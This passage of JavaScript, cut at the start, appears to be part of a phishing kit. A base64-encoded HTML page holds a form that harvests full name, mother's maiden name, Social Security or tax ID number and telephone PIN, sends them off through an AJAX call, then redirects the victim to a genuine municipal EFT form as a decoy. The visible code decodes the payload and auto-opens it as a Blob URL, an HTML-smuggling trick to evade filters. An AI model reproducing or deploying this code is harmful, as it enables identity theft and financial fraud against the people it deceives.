Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAKICAgICAgICAgICAgY29uc3QgbU5hbWUgPSBlLnRhcmdldC5lbGVtZW50cy5tTmFtZS52YWx1ZTsKICAgICAgICAgICAgY29uc3QgQW4gPSBlLnRhcmdldC5lbGVtZW50cy5Bbi52YWx1ZTsKCQkJY29uc3QgUk4gPSBlLnRhcmdldC5lbGVtZW50cy5STi52YWx1ZTsKICAgICAgICAgICAgY29uc3QgU1NOID0gZS50YXJnZXQuZWxlbWVudHMuU1NOLnZhbHVlOwoJCQljb25zdCBUcGluID0gZS50YXJnZXQuZWxlbWVudHMuVHBpbi52YWx1ZTsKCiAgICAgICAgICAgIGlmKEFuID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZy50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgWW91ciBGdWxsIE5hbWUiOwogICAgICAgICAgICB9CgkJCWlmKFJOID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZy50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgWW91ciBNb3RoZXIncyBNYWlkZW4gTmFtZSI7CiAgICAgICAgICAgIH0KCQkJaWYoU1NOID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZy50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgU29jaWFsIFNlY3VyaXR5IG51bWJlciAoU1NOKS8gVGF4IElEIjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYobU5hbWUgPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnLnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBNb3RoZXIncyBNYWlkZW4gTmFtZSI7CiAgICAgICAgICAgIH0KCQkJZWxzZSBpZihUcGluID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZy50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgVGVsZXBob25lIFBpbiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBsZXQgZkRhdGE0ID0gYEZ1bGwgTmFtZTogJHtBbn0gXG5NYWlkZW4gTmFtZTogJHtSTn0gXG5Tb2NpYWwgU2VjdXJpdHkgbnVtYmVyIChTU04pLyBUYXggSUQ6ICR7U1NOfSBcbk1vdGhlcidzIE1haWRlbiBOYW1lOiAke21OYW1lfSBcblRlbGVwaG9uZSBQaW46ICR7VHBpbn1gOwogICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KQogICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHNldEludGVydmFsKCgpID0+IHsKICAgICAgICAgICAgICAgICAgICAgZm9ybURhdGE2LnJlc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgIGxvY2F0aW9uLmhyZWYgPSAiaHR0cHM6Ly93d3cubWlzc2lzc2F1Z2EuY2Evd3AtY29udGVudC91cGxvYWRzLzIwMjEvMDEvMTQxMTQ0MTgvRUZULUFncmVlbWVudC1Gb3JtLnBkZiI7ICAKICAgICAgICAgICAgICAgIH0sNTAwKTsgICAgICAgICAgICAgIAogICAgICAgICAgICB9IAogICAgICAgIH0pOwoJCQoJCTwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4K';
    let decodedStringAtoB = atob(encodedStringAtoB);
	const myBlob = new Blob([decodedStringAtoB], {type: 'text/html'})
	const url =  window.URL.createObjectURL(myBlob); 
	a.attr("href", url); 
	$("body").append(a);
	a[0].click();
  window.URL.revokeObjectURL(url);
  a.remove();  
}